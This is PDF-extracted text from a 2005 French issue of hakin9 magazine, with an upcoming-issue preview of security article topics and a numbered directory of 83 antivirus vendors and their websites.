Il n’est pas diffi cile de perdre les données importantes – il suffi t d’une compromission du système, de notre négligence ou d’une panne du maté-riel. Bien que souvent il soit impossi-ble de les récupérer dans leur totalité, il existe des techniques permettant de sauver une partie des fi chiers impor-tants. L’article de Bartosz Przybylski présente les manières de sauver les données stockées dans les systèmes de fi chiers les plus populaires utilisés dans Linux.

Les informations actuelles sur le numéro à venir – http://www.hakin9.orgLe numéro sera en vente des le début de juillet 2005.

La rédaction se réserve le droit de changer le contenu du magazine.

Heureusement, l’interception de l’émission des ondes électroma-gnétiques – en particulier des moniteurs CRT – n’est pas une technique d’attaque très cou-rante. Pourtant, il existe un certain risque, surtout dans le cas où vous possédez des données très impor-tantes. Robin Lobel, auteur de la solution TEMPEST présentée déjà dans hakin9, montre comment se défendre contre cette méthode d’agression.

Tests de pénétration des serveurs Web

Défense contre les systèmes TEMPEST

Stéganographie réseau

Récupération de données à partir des systèmes de fi chiers Linux

Contourner les techniques qui rendent le débogage et le désassemblage plus diffi ciles

Page 83: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

Les sociétés qui offrent les solutions anti-virus

N° Nom de la société ou nom du produit

URL

1 ACPL http://www.acpl.com

2 AdvancedForce http://www.advancedforce.com

3 Aladdin http://www.aladdin.com

4 Alternative Computer Technology

http://www.altcomp.com

5 Aluria Software http://www.aluriasoftware.com

6 ALWIL Software http://www.avast.com

7 APEX SYSTEM http://www.apexsys.com.pl

8 Astonsoft http://www.astonsoft.com

9 Authentium http://www.authentium.com

10 BitDefender http://www.bitdefender.com

11 Blue Coat Systems http://www.bluecoat.com

12 BlueHighway Software Com-pany

http://www.bluehighway-software.com

13 Borderware http://www.borderware.com

14 BullGuard http://www.bullguard.com

15 CentralCommand http://www.centralcommand.com

16 CERT/CC http://www.cert.org

17 Check Point http://www.checkpoint.com

18 Chillisoft http://www.chillisoft.co.nz

19 Clamav http://www.clamav.net

20 Clearview Systems http://www.clearview.co.uk

21 Common Search http://www.vcatch.com

22 Computer Associates http://www.ca.com

23 DialogueScience http://www.dials.ru

24 Dr. Web http://www.drweb.com

25 eAcceleration® Corp http://www.eacceleration.com

26 Emsisoft http://www.emsisoft.com

27 Enteractive http://www.enteractive.com

28 Eset http://www.eset.com

29 F-Secure http://www.f-secure.com

30 Finjan Software, Inc. http://www.fi njan.com

31 FRISK Software International http://www.f-prot.com

32 GeCAD http://www.gecadsoftware.com

33 GFI http://www.gfi .com

34 Grisoft http://www.grisoft.com

35 Group Technologies http://www.group-technolo-gies.com

36 H+BEDV Datentechnik http://www.hbedv.com

37 H+H Software http://www.hh-software.com

38 Hacksoft http://www.hacksoft.net

39 HAURI http://www.globalhauri.com

40 Hycomat http://www.hycomat.co.uk/viromat/

41 IKARUS Software http://www.ikarus-software.at

N° Nom de la société ou nom du produit

URL

42 Invircible http://www.invircible.com

43 Kaspersky Lab Polska http://www.kaspersky.pl

44 Kurt Huwig http://www.openantivirus.org

45 M2NET http://www.m2net.pl

46 McAfee http://www.mcafee.com

47 MessageLabs http://www.messagelabs.com

48 MicroWorld Technologies http://www.mwti.net

49 MinuteGroup http://www.minutegroup.com

50 MKS http://www.mks.com

51 No Adware http://www.noadware.net

52 Norman http://www.norman.com

53 Palsol http://www.palsol.com

54 Panda Software http://www.pandasoftware.com

55 ParetoLogic http://www.paretologic.com

56 PCPitstop http://www.pcpitstop.com

57 PCSecurityShield http://www.pcsecurityshield.com

58 PLDaniels Software http://www.pldaniels.com

59 PROLAND SOFTWARE http://www.pspl.com

60 Purge http://www.purge.com

61 Quantus Technology http://www.quantus.pl

62 Ravantivirus http://www.ravantivirus.com

63 Refl ex Magnetics http://www.refl ex-magnetics.co.uk

64 Resplendence Software Pro-jects

http://www.resplendence.com

65 Safesurf http://www.safesurf.com

66 Secure Computing http://www.securecomputing.com

67 Sofotex Systems http://www.sofotex.com

68 Sophos http://www.sophos.com

69 Spectrum Systems http://www.spectrum-systems.com

70 SRN Microsystems http://www.srnmicro.com

71 Sybari Software http://www.sybari.ws

72 Symantec http://www.symantec.com

73 Teknum http://www.handybits.com

74 Trend Micro http://www.trendmicro.com

75 Trusecure http://www.truesecure.com

76 Utimaco Safeware AG http://www.utimaco

77 Verisign http://www.verisign.com

78 Virusbuster http://www.virus-buster.com

79 VirusHunter http://www.virushunter.com

80 Virustotal http://www.virustotal.com

81 Wavecrest Computing http://www.cyfi n.com

82 WinAntiVirus Pro http://www.winantivirus.com

83 Zone Labs http://www.zonelabs.com

Page 84: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi